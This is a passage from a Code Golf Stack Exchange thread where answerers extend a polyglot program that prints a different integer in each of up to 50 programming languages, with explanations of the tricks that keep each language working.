kur7zrsyL8Af/KWpFuCT9sY1ac7gjPHCy8wMPQ37BNJyuwIHTOjky7ESvL/7aW1/259ck@bei9Lztc3uVKz/CySpbbXEbtedwr5M@62f9cT8kH2tfWN9YptW@0sq@fWEhLOhdrTy1m7WNaq1WDqtaOaSD8fgxXWLzMs7dsama6gxARtnX24j2OKd2OWyXnY5WHtmtqtiBV9wPV9hwnVrmVdmZW@XHcPM6ZhJO0YRr5VSnjKVhms05@PsceWHZqgdOfKWpTJ3RnzmIfNmr1YgHs3xMDFxb/cMaOMepObTEtdkuwq01CdoiKlVuOutvv5Wa24yp2ry18WhHV9mGZZ31X2s77UrPGbfMX93Bd6ffffexUtLV5qbaDjeVklU9YWrv0cHBgdZq6YcHWvcJe1Ktt7efVuvY16zvsL/gw35VSt2/wIDdje1HOxicdE6UUmdQ6/TMrjHo9pTSlVK6nCslpWR3Zu9q9Om97tbk50d8O8agFx/8uLd7uFdvdYxS6/Xbeuvw/ctSEy9brcUKzdDyBtbf7e2@fvv@qI7hd/sf9t4fvH7reV6cjkbpKJruvN1@u2kNujXTMJhhsu4AXLybfdu9vr6usdp1NcuyqjlTSq@7s/eW0SE@AEDghtHXze7gi1LqlXrWmXWmWQ2/cdZonjZPZxh5s8bnKGlMG9PmqNlszhr8fWM4awwbUXOEJ8e/RoCh1xjPGpNG2AgJKMLAnTVcDMZ4TmhpDCSf8c9rNAh742wGMn5TfD4d64w1Gpvb2tPas@Kf/UinLOOLUukXGdFWo81nXtauSJtrGj9zfE1t9metcUvVcZdqz3R4Z3ND1w2tQXfrpv6p2elo21t6t6ttt3Qsq5WZGiUV7Uq7as51evS0hj7Q5xj1aapSmpfoNIZsc0vHTcH1L5bdtFqb9qxTru3UjB187G6tU/y8KI2E5k1LOT5@vXu0e3xsN0tExrKUktk31WZLPT6uVkicNqWskc9NH/F545mi4lMCnD3kE1CkHWmacuRj/MDhOefneX7Ol59XKJQ@f0ZgimOrCtgRH1NOfMlSBKFoXHErRvOFuvEUyePGE1UpIVBRA61DrcbInHYVahNrjOlit6aflE76lap1RdWedsn09tyqVk5OlE73qsTmxM1cGVFhu/mMuIRrN@edLkblCmGq0JyxEW1GpXK5jGPAuuqG@tZUbPrfFrSDxBMCAlHpS7TVvA6/b5eex5WNzUqfZH36zWgy8VrfsJMvzS/bZcuqVFpbjNklaePmE73UbT0xkRuXBsXcJuYGJeESrSZQVBHFwtGn40/HH1ut1rNnz9TW9m@W9bXLB6vLADzmiE15cF8E3k28nxxKQMNlFMbgpxwBf6lbRsr1vSFp98acVPj6lPhfH5hTiC9hCRqgcnTrIitmVWpE9gY6uxIptzdmGq3iLm7K1F8WOVmehKzRViQQtbPayyGokC8wmwBokgKu5tnNNvM6hAy/iNMFBfosdtRsGvo81AQX3kBvL2GWnHSxe42Xtf21mgSfS7akPG4wkmLLteUr2AuoYne1Yrd@CwDVDmAq/UalEPOPiIGUQltiqLM/Lcat/biS9IVMgoXVYjG/MsVcqWb1oK2Q2NW4rfygufoVXZXt6@DxY/dT3AsGbT2wM/qt1YL2XDnVPAlSzezANprtGMy2s16t5g3sQP9BiwXzgd0AMGgT5lS/Wlo6tAtzpXr9shca1@Gg/qYX1pqDel6vfrQv647dqM/whdrqfv1XKG@hSi2zL2th2@ngS7f2DU3Edlpz2jemaMup5tuXPWdgN/S2j4212hsIAz7Tnl@rDXQQ97F4d2Pbf/zYqfndWds3DJ2gPm28eNPLMBjUbHp/rjmd2YvLXo79zzX82iDj62Ae@27aAPjAXxs6luZbsS55nBF7M7AX2Hb144vqx6r96NFlb2YEg7pU//PGyvDE/IyYX/cRrfpx3bGESkQFr6nfes@/NaspU@vwPii5Hq/tlBxWP2IlXp2G@f8B \"Polygot driver on TIO Nexus\")\nAs usual, I replaced literal tabs with `␉` and literal ESC characters with `␛`, due to limitations of Stack Exchange. You can get an easily copiable version of the program from the \"input\" box of the TIO link above.\n## Rundown\nThis program prints **50** in bash, **49** in Octave, **48** in Deadfish~, **47** in Lily, **46** in Cubix, **45** in PicoLisp, **44** in alphuck, **43** in reticular, **42** in evil, **41** in brainf\\*\\*\\*, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost of the languages are tested by the test driver above. The usual four culprits need testing separately:\n* **Incident** was tested using its official interpreter, offline;\n* **Deadfish~** was also tested using its official interpreter, offline;\n* **Modular SNUSP** was tested online [here](http://www.quirkster.com/iano/snusp/snusp-js.html);\n* **Reng** was tested online [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/).\n## Explanation\nI was looking at various leads for languages to add. One possibility was to find a language with `#` line comments that could plausibly be added to the \"scripting language\" line (which handles Perl, Python 2 and 3, and Ruby). It took me a while to think of an appropriate language that could be syntax-compatible with the ones already there, though.\nIt turns out that the answer had been staring me in the face for ages. If you click the TIO link above, it'll open up the polyglot test driver, which is written in bash. So all this time, I had a tab saying \"Bash — TIO Nexus\". You'd have thought that'd be a hint, but apparently I missed it. As a bonus, bash is also a scripting language, so the term \"scripting language line\" is still appropriate.\nThe bash program starts in the same place as the other scripting languages. However, there's a fairly simple way to split it away from them; in single-quoted strings, `\\` is an escape character in most languages, but not in bash. So we can hide bash code from the other languages via `'\\'…';`, which is a degenerate statement (with no effect) in Perl, Python, and Ruby, but executed in bash. `echo 50;exit` is a fairly simple way to end the bash program. Well, almost.\nThe biggest problem here is that bash will, upon running `exit`, continue parsing until the end of the current line (even though it doesn't execute the code in question), so we need to make sure there are no syntax errors on the rest of the line. We have a `'` just after `exit;` that isn't (and cannot be) immediately matched. Later on on the line, `'…'` is used to hide some Brain-Flak code from the scripting languages, but that would unhide it from bash. As a result, we need to change what sort of string literal we're using to hide the code, going from single-quoted to double-quoted strings. `or\"'\"` does the trick without disturbing Perl, Python, or Ruby (as the left-hand argument is truthy in every case).\nWe now have an unmatched double quote that extends onto a future line. It was fairly hard to close it without disturbing at least one other language; what we actually do is to change the way we hide code from bash from double quote back to an unmatched single quote in a Python/Ruby comment on the subsequent line, and finally close the single quote at the end of the line after that.\n### Pyth and 05AB1E\nMessing around with double quotes also disturbs the languages that were using double-quoted strings to hide code, Pyth and 05AB1E. The main trick we use here is to ensure that every double quote we add has another double quote soon afterwards in order to expose as little code as possible. (This explains the extra double quote on the `__DATA__` line, which isn't necessary for bash.) Pyth uses `\\` as an escape character; the main upshot of this is that it limited the scope I had for messing around with strings in the scripting languages, forcing me to use the rather convoluted method above (as I couldn't easily make use of the difference in `\\` behaviour between bash and everything else). In 05AB1E, `'` acts as an escape character *outside* strings, and having it escape the leading `\"` wouldn't do. So I ended up needing to place a useless padding character (defaulting to my usual `x`; it makes things easier to read!) inside the `\"'\"` constructs that are used to change between bash quoting styles.\n### Prelude\nBy far the hardest language to fix here. The problem is that the scripting line, with all its parentheses, was moved sideways, and thus the Prelude control flow (which cares a lot about the way in which parentheses are vertically aligned) was completely destroyed. I thus had to try to reconstruct something that works.\nWorse, the current first line (which I really didn't want to rewrite) places something of a hard limit on where the parentheses can appear. It starts off with a nonzero digit (two of them, in fact!), and is soon followed by an opening parenthesis. That's a loop in Prelude, and loops early on in the control flow in Prelude cause a number of different issues (mostly because they cause more code to run, rather than less). As such, I badly needed to open a 0-iteration loop on some other line in order to skip over that code. The `main` line for the C program is highly suitable, but we need to be very careful with where the matching closing bracket is; too far right and the unmatched bracket on the `#R+` line will cause trouble, too far left and it won't comment out enough code. (Bear in mind that an opening parenthesis on one line can match a closing parenthesis o a different line.)\nOnce that's done, we have just enough space to stick in an opening parenthesis on the Incident line, and we've finally got safely past the first few characters of the program. However, the difference in parenthesis placements ends up meaning that some of the Incident/Whirl code actually runs in Prelude, corrupting the stack. Instead of trying to prevent this, I moved some of Whirl's zeroes further to the right, allowing them to give us a working Prelude program again.\nOne other small change was on the first line of the program; the final parenthesis of the line was in a position that was very hard to avoid. I added an extra `c` just after the Pyth code to shift it to the right. (Many languages are parsing that point of the program, so it took a surprising amount of trial and error to find a padding character that wouldn't break at least one language!)\n### Incident\nPrelude was hard enough by itself, but getting Prelude and Incident working at the same time was nightmarish. Prelude placed a lot of constraints on the code which prevented me freely moving things around, and thus made accidental token construction harder to golf out. For example, Prelude only really needs one `0` moved out to the right, but that caused `00` to become a failed token, breaking some of the tokens we wanted as part of the Incident program (because if two tokens overlap, they're both rejected, and the `00` was overlapping a token we wanted in addition to overlapping itself). I had to move both out to make a fourth copy and prevent it being even considered as a token.\nMore subtle are the tokens `;'` and `␠␠` (i.e. two space characters). The issue is that these both appear *before* the `kG` that is being used to jump to the start of the program, and thus will break Incident's control flow (in addition to breaking the program's centre point).\nRemoving a copy of `␠␠` by breaking it up doesn't seem viable. Removing it via overlapping it might be possible (`␠=` is a promising potential overlap), but it's almost certainly less verbose to just add a fourth copy, which is what I did here.\nMeanwhile, we can use a different trick for `;'`. Breaking it up isn't something I wanted to try, given that it's used in fairly spacing-sensitive situations. However, it's not *that* near the start of the program (despite appearing on the first line), so it's plausible that we could jump over it (thus causing it to not affect control flow) rather than needing it to not exist. I looked for a suitable token to use for the jump which wouldn't screw up any of the other languages. `/v` appears a little earlier on the first line, and doesn't break anything, and thus that's what I used.\n## 50 languages in 1 Kib of code\nIt was pointed out by @MistahFiggins that my 1025-byte submission would be way neater if it were 1024 bytes (especially as the fiftieth language is a milestone in its own right). This required finding a byte of savings somewhere. In this case, I saved three bytes in the Deadfish~, at the costs of two extra bytes used to make Incident tokens line up correctly, and thus bringing the program down to 1024 bytes exactly.\nPreviously, the formula that the Deadfish~ code used was (2²+2)²+10×1+2 = 48. The new formula is (3²-2)²-1, also producing 48. Surprisingly, it isn't that much shorter to write in Deadfish~, despite being considerably simpler.\nThis also gives us a [VIP score](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer) of .008192. Not only is this a new record, it's also a nicely round number in its own right (which is, obviously, a consequence of having nice round numbers as the inputs to the formula).\n[Answer]\n# 23. [Hexagony](https://github.com/m-ender/hexagony), 186 bytes\nSorry if this messes up plans...\n```\n#v`16/\"<\"6/b.q@\"(::)::: (22)S#;n4\"14\"\n#>3N6@15o|> ^*ttt*~++~~~%\n#=~nJ>62)#46(89999+++++!)=#print(17)#0\\32=\"\"<0]#echo 21\n#8␛dggi2␛` |1|6\n```\n␛ is used to represent a literal ESC character.\n### Prints:\n23 in [Hexagony](https://tio.run/nexus/hexagony#Jcu9DoIwFEDhva/AUu@NSQtRuAUr1kKcHRx0VIk/GGQBNcSJ9NVR47ed4Qz4PpEOwYIOL9PnCoQx0hjDuVBK7nDZJEAJMMzjjV7RrO1zXvhd1/kuCJxzY4aZa9Z2C6RgyXDP2ONVN50QFKpzU/IFb1@cYjkR0TeDRBZkrZ7luVYSEy3SxVfwM5IZ/l@aS4wOscoAbHTE2/XeckUMU6@sqlp5J95Tr4fhAw), 22 in Underload, 21 in Nim, 20 in Prelude, 19 in Reng (testable [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), 18 in Cardinal, 17 in Julia, 16 in Pyth, 15 in Haystack, 14 in Turtlèd, 13 in Ruby, 12 in Fission, 11 in Befunge-98, 10 in Befunge-93, 9 in Perl, 8 in Retina, 7 in [Japt](http://ethproductions.github.io/japt/?v=master&code=I3ZgMTYvIjwiNi9iLnFAIig6Oik6OjogICgyMilTIztuNCIxNCIKIz4zTjZAMTVvfD4gXip0dHQqfisrfn5+JQojPX5uSjxSIjEyIjsKI1sKCnByaW50KCgxLzJhbmQgOSBvciAxMyktKDBhbmQrNCleMTw8NjU+PjYyKSM0Nig4OTk5OSsrKysrISk9I3ByaW50KDE3KSMwXDMyPSIiPDBdI2VjaG8gMjEKIzgbZGdnaTIbYCB8MXw2&input=), 6 in SMBF, 5 in Python 2, 4 in ><>, 3 in Minkolang, 2 in Vim/V, and 1 in Python 3.\nTo get to the unlinked languages, click the `change language` button in the upper right of the Hexagony link.\n---\nHexagony isn't readable (at ALL) in this format. We need to look at it in hexagonal form. \nNote that the 2 ESC characters have been replaced with `␛`s so you can see them - they are ignored, so there are no others in the program:\n```\n # v 1 6 / \" < \" 6\n / b . q @ \" ( : : ) A lot more readable, right?? No?\n : : : ( 2 2 ) S # ; n\n 4 \" 1 4 \" # > 3 N 6 @ 1\n 5 o | > ^ * t t t * ~ + +\n ~ ~ ~ % # = ~ n J < R \" 1 2\n \" ; # [ p r i n t ( ( 1 / 2 a\n n d 9 o r 1 3 ) - ( 0 a n d + 4\n) ^ 1 < < 6 5 > > 6 2 ) # 4 6 ( 8 | Note that the 0s below can be replaced\n 9 9 9 9 + + + + + ! ) = # p r i | With anything (except \"`\" or \" \"), \n n t ( 1 7 ) # 0 \\ 3 2 = \" \" < V as far as Hexagony is concerned\n 0 ] # e c h o 2 1 # 8 ␛ d g\n g i 2 ␛ | 1 | 6 . . . . . <-- the ␛ represents an esc\n . . . . . . . . . . . . character\n . . . . . . . . . . .\n . . . . . . . . . . A \".\" is a no-op\n . . . . . . . . .\n ^\n | Mirror wraps to here, going NW\n```\nFor those unfamiliar with [Hexagony](https://github.com/m-ender/hexagony), There are 6 IPs, which start at the 6 corners. Only 1 is active at a time, and are switched by using `#][`. The memory model isn't that important to this program, but might be necessary to understand in the future. All that you need to know is that 1 int is stored in a \"memory edge\" (ME for short), and `'\"}{` change the ME that is active.\n`\\/|_><` are mirrors that control program flow.\n### This is how it works:\nFirst line executed:\n```\n# A no-op (sets active IP to 0, the currently active one)\n v letter chars set the ME to their ASCII value - so ME is now 118\n 16 Like Labyrinth, 0-9 multiplies ME by 10 and is added - ME now 11816\n / A mirror that sends IP going NW by wrapping to the bottom\n```\nThe bottom (snippet flipped vertically so you can read up to down):\n```\n . \n . A series of no-ops. The IP is going NW now,\n . because of the mirror on the top.\n .\n| Another mirror. This one sends the IP NE, into the h\n h sets the ME to 104, the ASCII value for h\n # 104 % 6 == 2, so IP 2 is now active instead of 0\n```\nThe right edge:\n```\n 8 IP #2 is moving SW, starting in the right corner \n i Sets the ME to 105\n < Mirror. Sends the IP going due West\n \"\" These change the Active ME - just know that the new edge is 0\n = Changes the MP (more in specs) - effectively a no-op used to fill space\n\\32 pushes 23, and mirrors up NE to the !\n```\nThe last bit of relevant code:\n```\n! Prints the current value of the ME as an int. Success!\n 20(R~ Does things to the ME - irrelevant now\n @ Ends the program!\n```\n---\n### Things to note:\n* Hexagony drops all s and ```s before executing, so any changes to those will not affect Hexagony\n* I needed to pad the code so that it would be interpreted as a 9 length hexagon, instead of an 8th - be careful golfing below 169 or above 217 relevant characters\n* Because of this, the `~~~` and the 2 `0`s at the end can be changed at no harm to the code\n* The `=\"\"` just moves the ME away from the previous one so that a new ME can be modified. They can be replaced with other characters that do the same thing at no harm to the hexagony program (`'`s, for example)\n* This is technically not comlient with the Befunge 93 specs, because it limits the bounding box of the code to 80 by 25 chracters. However, Most interptreters ignore this spec (like TIO), So I don't personally think it's that big of a deal. If you do, feel free to leave a comment. (If enough really want me to change it, then I will try)\n* Hope it's not too hard now.\n[Answer]\n# 37. [C++](https://gcc.gnu.org/) (gcc), 776 bytes\n```\n# 1\"16\" 2//v\\(;@#/;n4\"14\"\n#/*`3 auaaZ<>16/\"<\"6/b.q@\")(22)S# ␉␉␉␉ \n#yy␉;36!@\n# ␉\n#=␉>\n#[#yy#yy0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_)\n#`<`␉|\nprint((eval(\"1\\x2f2\")and( 9 )or(13 ))-(0and 4)^1<<(65)>>(62))or'(\\{(\\{})(\\{}[()])}\\{}\\{}\\{})'#46(8+9+9+9+9+=!)#1|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>++.--.]/\n__DATA__=1#//\n#.\\.\"12\"*␉\n\"\"\"\"#//\n=begin␉//\n#*/\n#include␉\nint main() /*/\n#()\"`#\"\\'*/{std::cout<<37;}/*'\"`\"\n$'main'␉//\n#-3o4o#$$$\n<>3N.<>␉//\n#xx\n#x%~~~+␉+~*ttt*.x\n#xx\n=end #//\n\"\"\"#\"#//\n#0]#echo 21#/(\\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) ap\n#_~nJ|#o51\\ \n#0␛dggi2␛`␉|1|6$//''25 >>>>>#>27.say# =#print(17)#^_^_7LEintndus({})!<>+]/*///Z222999/3!@\"26\n```\n`␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the \"input\" box of the TIO link below, if you want to work on it.\n[Try them online!](https://tio.run/nexus/bash#lVjLdtvIEV0LvzCbNgCbgEi8SEsemw9L9shzPPHMKJas5IwoUU2gSbYFNjgAKJLR42SbnCyyzybL/Ee2@Yr8yOR2g6QoiRpPIBFoANVdVbceXYVfDHmQ/SSe9eMkJznLchKl/IKlLnkzIzuUZ1vVmjVK@ZCmM0LH@SBJ7QrZeTugImSapqanSTQOueiTfMAIF6NxTno8ZpkW0py0yGi@vCsHxCApo1FBpvWSlMgpZHgeE07C0YiowyBZMpQvcpaOUoZzRgRjEclGLOQ9HioGhE1zJjKeiEyLEk1ODEf32C3vTAYasRSZjWiqRE7ISMm/kHyS0tEI/DSDHECGnA9ZRnheygijGZcAYUrGRKS0HS2hSwgVqwKTC04JhR7jVK2dsTSHpK5alwxYyrAklcz7KR0Sa5LyHNpIMHbJPqMpOUwZs8EFILIspCPIcYclmCWSQy4VcRXYjUZp78d3JYBezHDpKNeMtHb4@@80StwmMTt1/Jq6Xtf2fviGXJptOYYUWAyGGaUWtUnzhmReu83wmwZdr59ea1hVAyox8ZJR7mFlmuYQ73bkXFTdUbzCljTuWWLFEQqqCLYg7wU5qii9wnGaMkhxCyk9h8pxIvpAE6qmYyHREGTbhwHCRERZhbALYJaIwkLJROF7OOAwWSYNQruAh4YS@cK7FZzwbzjRHM8F3yyJx4oOM7Ocx7EEGFPliu975Ij0KI/lFLyXSxVSpywbx7mcMxaRtPuQCxa5ZCFGmESSaJhcgB3FouoB/H64Ei1KKBDDDIlSVb7679//EfX7WGc3DJM0mjvrEYmScDyEwFQJS@GI0l0TQWMlFugqknsxHQwuaMwjmkv2YjZnoYRQXCfJOI5IAobphGeMDOgF4qrXY2HOChdPxjlkrJAhPS9inBd@C8WHtAvDKgaKN9RWTuIMx3nva@KM9kgp806t16@s10/aDPLYrr1pel6/Dg9zN9Uj3JV@zVmOdm9tqEmX2SU9NiExFf0x7UOtRGACDUM2yud4ApcsB2L3g0I9dOYR7mYDzdy5z1l5@jz2V3hIXyyibx6vVIIQJsMhDODEsDmhaV/ZhUQ8BXrx7D53EFzcY66fSZI7Apzpj4iwSFPwajZl4TgH@KxCJgMeDshESScK8xWxcp89Hq1yhwM6vSVrKUzQelbVXG/5SIrx6BKONPTDdZAD5FKtOw@UT6w@UAqqRHwg8zk8d5F1ZWTcJvml8kDjO5lTUvbzGOgiQHlfSBIqlhl7xal5JkqIcp5xQCRzL8ebw/c/ylD@Ayt2EoBUpKHVOEywr2D6PLfKFwvENBYOEuIIUprLYOkqFX6GWF6WhmrgrOR/3XYBlyVhU68WC30utsX7uZC0HtIplqUKOdb1kwrST5zB3mIcx7gZCxUQFrMv4RghyzIX3o1YdeVGAun0MrOv7xLmgzSZEHZt10vr2CmDHELnD0i55ANHtkx6SNC3e7Dar6dyi2pr@miGYkDU7nqvfvumWuwVR96QIhJHs/URra8upSZ8z8V5Ii3vDRejju8GW3eWQL3wcGaPZwN1ukP6QKyHb9TsbNjtqdMaAiFd6x5e6sUwEUnBHAhxQb2P6uIiQtdJcDcQ7rB/w2CqPnNe1rwuF16X9R6jfPfmzXtF0@t2@WNEgEEWRovrGrJ03F2HUpdmgweJktzB@XCc5rETebm8sv/8OQLeD60xoLMM@@f5ctARbCIt4/QeNc58qrxRp/WG/DyOUVt9YY2Qyj2TxsvB@rVekY8M3o49TaiSCpLGMcIRkCFhPHRnREI8jtjiun5RheHdfEsEH8r9YiTr1kdm3NsgCoayrEjjhEZeUehxdmu9Amc2pf1EzLyV5OOm3d8g1iKHk9vKLh@M83FxluXcl@zER/L3a@E2p/S3dt8Ee/PLI/QQYvsxPy1CJEUmcd7F9NzrymGnh@F6VQtlUt5H7bi4PkbGMpVknG6SnDtFvZ552FZR0YxoyFSo3d6u9aHvsTXHKNkPfvh0sP@rzqQ4YrU0Ls5rl3svQuxYIv/ySoAhVqff6IVqknKUkMaO79Z8j4fnxFnBkN9DPabdmWwPBv@/g0mO/XKZOMltVb@chWZPTlK7zkdV2i@rK9T1RUeCZzydV6CZu2jyjNu3RFAUSdim5HhRLtSLIjUbqNoWHUOEmPskuCoQUEsX5VmFdLHlq1z2739F85K/z/KMDHmGkrYvZL@JGmyQTF4rvkVt@3b3gDgobJUMPaI/dV74mV4h5u7Hb4@O/ZMS0c2pPhdU9iyqRF8KXChDLDneV/vBvKIcqnZH6cQmqqJEi4PuRu6Sso9AFZOhQcxttbSFHDhEoeIc5GRL9sssR0G6NW@MiGxbwUmREnNKrtBxout2QhJs@bgrVIllgT5s3m49q7u99w3rjlXcoLWr1ppKD/SOjZYapSxKZBV/fNqOTrxsgQZaxqd@dSrxeOZJU6DNvDTdln91ldGZrl@X7JU@fG@KOgDuLfsh1c9osjeXUCXj/E69PeH5oCgMUS2GAyrLB1kvLoo8KVIPsUti6Cn7FBWsmVSUSDBdshtnaJejCDB1Z7lEdyzyoq5bFne6QYS79KMK0bUHHxTk3AyA54smE51PmioZBtjkCq@CYaIEZBPVYqGKRJ3quq42CaUJ1BLrOiW03Gjbiu6onWP8l/m4h/HfivGpJ03qPWiZCkUe4LeSuPidGJtrvkYKAmb/XCOEwPivxfi47Ts3J@s6tzViLLNZnpwzwf@ksFp8tXhMiFVuutdu61/mteou0HW@LyINyC8SoHoLl@X5K7LzOyYEm5E1n7WK712337ceSrdXuowT5E7Tq6tYqF8DjbM2aeftXltISOoz7yvP9eqXlhk3Z57nhXbLMgfNoFzbLJdNsWmZwgls@9kzGULXZtY0O67u6lMQOWZs1xEMlkmbpqibtGGZUbO6qWbgtly2LzHhBs3zpUmvPfMZcKrgScouEA3MMjNb1ui@6wbXkO9zwoXpVYZ0dGnpRJ/K7yGSvcnLZSmDa3akADde@6AMyQH7gacCtz53NK8/rKvQLt2F/pdfDEICPdjWSdXzLtpWfcfw6uK5HjzXNcPbPKsBVUp/arSCbU9v6Nte1/15R7etatU@wNQNHEQzZrONem37yQ6ss6EZzY2WZhzjIf792B9O/eA8OMeIT/3PU3/gD4IoCIJ9n33yu1O/6ydBhDPDnz/FkPu9qd/3hS@CYOonGIRTP8Sgh3Nfvuphkc/4474v15Yshn4cqMP3rdOOrRlnjbONK00pbVnsgsaWHrSn1V5Vt5FkLPKS2DBQUCO27Vi@zDvP7dOg0bC2t@xWy9qu2nhfstqX@L@25enYsk/sawyKf7tkPN@2vi6/nP81n9hGcNX0moFXfd6cNl8eN8zyTtnZwdFslRvzy2ujVXYdxz3xtE7nm93D3U6nGRiepxlu29WDqr65oek45KNml/W52JAvN/HjIpTFaoMnCDtGh60NTQaMbMwsG0aWNJatnxl6u7TpXaL6f/UK6TFvNGov6tfeZkk/0zWzJOlLalGnljxPDNM0tUar9oPbaKmn0yl@T29ubsob5ZvNPM833al62pSfS7EdgkgKqEQ0/BNDpd0qlLDax@9231aChmNU1eDg0xtD3m3d3lZxW5O3H/a@3fu4t/fHSrD/YW/3YO/b90d7n/aLMbShI83o3IjvroxkK2iDLVh9FfX7vPoVDBtcbZueVypVtwh6YBxGq/rCxdZkkKZRGD14YRunndPOiw97uBXROLNgtCeNVvkESHneT9Vq9eXLl17tyY5e3f4f \"Bash – TIO Nexus\")\n## Rundown\nThis program prints **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required.\nI added another format to the test driver output that escapes double quotes as well as make line feed replacements. This is so I can feed the single line string to a c(gcc) program I wrapped around the function created by @feersum [here](https://codegolf.stackexchange.com/questions/107533/write-an-incident-tokeniser/107650#107650). Hopefully others can make use of it as is.\n[Here's the Incident token program](https://tio.run/nexus/c-gcc#ZVPrcuI2FP4Nr7B/hM0GybKxZAgpseWQbclOu5lOpmk6ndiGOFy9sQ0NZkchgQforz5jXyQ9wuymnep6js5F39E5etWTfJSuxxPkrYpxsmjO/eq/jx6TfKbOqkleoCxOckyeqwjaaB4/onwiiyBCAmk6QjzUeCfUkGPbX0Ls9nTbzdtwBvPvv/7UbeOuheJ1HN96Pu/YoeaFWse@b/7RCzWCHYdcg48KNKS0n54qbqtT6ykaVdQqKr7aAhDBYCnLJOMP/AGoRLLPks3ZnI8551dscsPuJbtnCz6GdQKdSSATNpVsxnKWcy7ZAoiRZCMgprDOlGgKTj5DTxhTvtUVGUv5vjGGB0OiINx5d5UXIJbwOAXGky9xiiHOUDpTB2KJ8zFGXUQWj5i3ECEWZnCE2mTAPQ93jonv445DQN7A4TOMLVFLgElEtkCUgzT0dgd/R7uHLmpE5y/CFtx22kKKbuDVaY9aPWjCp95hO9N92rSsZmQDwOHwh/Nfz4dDwXVb8XozbAJQAGmoJw21spdCcT@ZJXmlVDT266EOvGQBhTCJM19ZvRUCQnaph0mo3engqmHYz1BGp6ejxbrwvNaJu7WNBgj3JVBvKLvG4QqrtWgv9Hq9Doznt35uev5BIuV@fb/b7WiF7oyiKIym/CYRE3hNhErUhwi@BqGzSJ@M5gvkQMg4DC7Ovze5Z@nOnri@@aAr7viNdYBtKfay/7H/S7//u8mvLvvn1/2PP/7Wv7kqaYg0Xirvw13@04u@OOYhANhf9248myXOOygI/tKp23aj4Rwj5Kum@85JcxU/6UjoZanwE6IPhoPhyWUf2Hy8XmFIdM3zaQQvadu3juN0u127VYM/4XQ0d//Tplh9M@JWt1WjMDO3qr6esXSrn/CIPE@hzNxddnQ0GiyDLHJJJgq1U5q52@oDTkoVoxCZsLi7DJLILQJKk0hk5BNWPHEzwUB5iveeV4cfrhKdC8h8OsnxipibILd2eWReBDnlkbk2jVuxMWPBTAkzPYCFuwqxobkbezApPTj72pZiRWP3P0fK5AGnYhPEkWDETcGQ0gsIAvCtgpTSiMClKQj/b@imR0cxTX3pppZFlNagdXYRFEBEVCj@FMeePNsEa7A/xbALuCYlABrsSOlx@w074HPhbff5mmLtfdNYaRAopeYSYiHVN8BSYZWANRPCuD0zbg1Rq20CaWWRWebglJX6KgqpolApfH39Bw). Ideally I'd like to deliminate the tokens since they are a bit hard to read, indicate the \"center\" token, and include it in the test driver. But I don't really know how to do anything other than make various programs print sequential integers, so this is as far as I've gotten.\nI've attempted to solve the obvious Incident problems, like tokens after the beginning and end jump tokens and anything that looked extraneous, but I haven't balanced the tokens to put `0o` at the center. I'm not really sure what the logic is exactly to determine the center. I'm hoping @ais523 will help there. This string near the end `7LEintndus({})!<>+` would all be tokens if not for this 4th inclusion in the code. These can all be removed (and replaced with a `.` for Hexagony alignment) in order to adjust the center token.\nI'm going to be updating this post off and on over the next day or two to walk through the code, (assuming Incident can be verified/fixed without going over the byte count). But it's super late now, and I mostly wanted to get this out there before I had to solve another Labyrinth like problem. :P\n## Explanation\n## How the C++ code works.\nI think most people are familiar enough with C++, so I won’t go into too much detail. Block comments come in the form of `/* comment */`. Line comments come in the form of `//comment`. The actual code utilized by C++ to produce the answer is `int main() {std::cout<<37;}`. And the library that’s used to interface with STDOUT is referenced by this statement `#include`.\n## /\\*Comments Abuse\\*/\nFor me, the story of C++ goes back to my Brain-Flak answer.\nAfter finally finding #28, I set out to study some other polyglots posted in PPCG and all that studying led me to a few easy answers (most of these are still available to be found if anyone else is so inclined). But more importantly, I came to a conclusion about polyglots in general: large polyglots tend to fall into one of two broad categories: `#` comment abuse or `/*` comment abuse.\nThis is not a fact or restriction in anyway, but of a personal mental framework that guided my next several answers.\nFrom here I reasoned that if this was to become the world’s largest polyglot, which I presume it to be currently, it would be best if it could leverage comment abuse from both comment families. So I set out to find a way incorporate a `/*` comment language and pushed towards the C family due mostly to a personal familiarity.\n## C++ Initial Test\nMy initial thought process for this was to use C# mostly because of my familiarity and the first hurdle for C# was getting the polyglot into a state where it could accept a line that didn’t start with `#` without otherwise being treated as code by the scripting languages. The 